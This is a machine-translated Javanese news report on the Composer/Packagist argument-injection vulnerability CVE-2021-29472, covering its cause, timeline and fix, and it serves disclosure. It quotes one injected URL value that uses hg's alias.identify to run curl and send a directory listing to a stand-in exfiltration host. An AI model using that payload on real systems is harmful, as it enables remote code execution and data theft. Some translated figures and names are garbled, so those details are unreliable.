Kerentanan ing manajer paket Composer sing ngidini repositori PHP Packagist dikompromi

Kerentanan kritis (CVE-2021-29472) wis diidentifikasi ing manajer dependensi Composer sing ngidini printah sewenang-wenang bisa dieksekusi ing sistem nalika ngolah paket kanthi nilai URL sing diformat khusus sing nemtokake alamat kanggo ngundhuh kode sumber. Masalah kasebut ana ing komponen GitDriver, SvnDriver, lan HgDriver sing digunakake nalika nggunakake sistem kontrol sumber Git, Subversion, lan Mercurial. Kerentanan wis ditanggulangi ing Rilis Composer 1.10.22 lan 2.0.13.

Khusus nyathet yen masalah kasebut utamane kena pengaruh gudang paket standar Composer, Packagist, sing ngemot 306 paket kanggo pangembang PHP lan nyedhiyakake luwih saka 1.4 milyar download saben wulan. Eksperimen kasebut nuduhake yen ana kawruh babagan masalah kasebut, panyerang bisa ngontrol infrastruktur Packagist lan nyegat kredensial para pangurus utawa ngarahake download paket menyang server pihak katelu, ngatur pangiriman varian paket kanthi owah-owahan ala kanggo ngganti backdoor. sajrone proses instalasi dependensi.

Bebaya kanggo pangguna pungkasan diwatesi amarga isi composer.json biasane ditemtokake dening pangguna, lan pranala sumber ditularake nalika ngakses repositori pihak katelu, sing biasane bisa dipercaya. Pukulan utama tiba ing gudang Packagist.org lan layanan Packagist Pribadi, sing diarani Composer kanthi transfer data sing ditampa saka pangguna. Penyerang bisa nindakake kode ing server Packagist kanthi nyelehake paket sing dirancang khusus.

Tim Packagist ndandani kerentanan kasebut sajrone 12 jam sawise kerentanan kasebut dilaporake. Peneliti kanthi pribadi ngandhani pangembang Packagist tanggal 22 April, lan masalah kasebut diatasi ing dina sing padha. Pembaruan umum kanggo Komposer sing ngatasi kerentanan kasebut diterbitake tanggal 27 April, kanthi rincian sing dicethakake tanggal 28 April. Audit log ing server Packagist ora nuduhake kegiatan sing curiga sing ana gandhengane karo kerentanan kasebut.

Masalah kasebut disebabake bug ing kode validasi URL ing file composer.json root lan link download sumber. Kesalahan wis ana ing kode kasebut wiwit Nopember 2011. Packagist nggunakake lapisan khusus kanggo ngatur loading kode tanpa disambungake menyang sistem kontrol sumber tartamtu, sing dieksekusi kanthi nelpon "fromShellCommandline" lan ngliwati argumen baris perintah. Contone, kanggo git, printah "git ls-remote -heads $URL" diarani, ing ngendi URL diproses nggunakake metode "ProcessExecutor:: escape ($ url)", uwal saka konstruksi sing bisa mbebayani kayata "$(. ..)" utawa "` ...`".

Inti saka masalah iku ProcessExecutor:: cara uwal ora uwal saka "-" urutan, kang ngidini sembarang parameter telpon tambahan kanggo ditemtokake ing URL. Uwal kasebut ora ana ing driver GitDriver.php, SvnDriver.php lan HgDriver.php. Serangan GitDriver.php dihambat amarga prentah "git ls-remote" ora ndhukung argumentasi tambahan sawise path. Serangan ing HgDriver.php bisa ditindakake kanthi ngliwati parameter "--config" menyang sarana "hq", sing ngidini sampeyan ngatur eksekusi perintah apa wae kanthi manipulasi setelan "alias.identify". Contone, kanggo ngundhuh lan nglakokake kode kanthi mbukak utilitas curl, sampeyan bisa nemtokake: β€”config=alias.identify=!curl http://exfiltration-host.tld β€”data β€œ$(ls -alh)”

Kanthi ngirim paket tes kanthi URL sing padha karo Packagist, para peneliti verifikasi manawa sawise ngirim, server kasebut nampa panjaluk HTTP saka salah sawijining server Packagist ing AWS sing ngemot dhaptar file ing direktori saiki.

Source: opennet.ru

Add a comment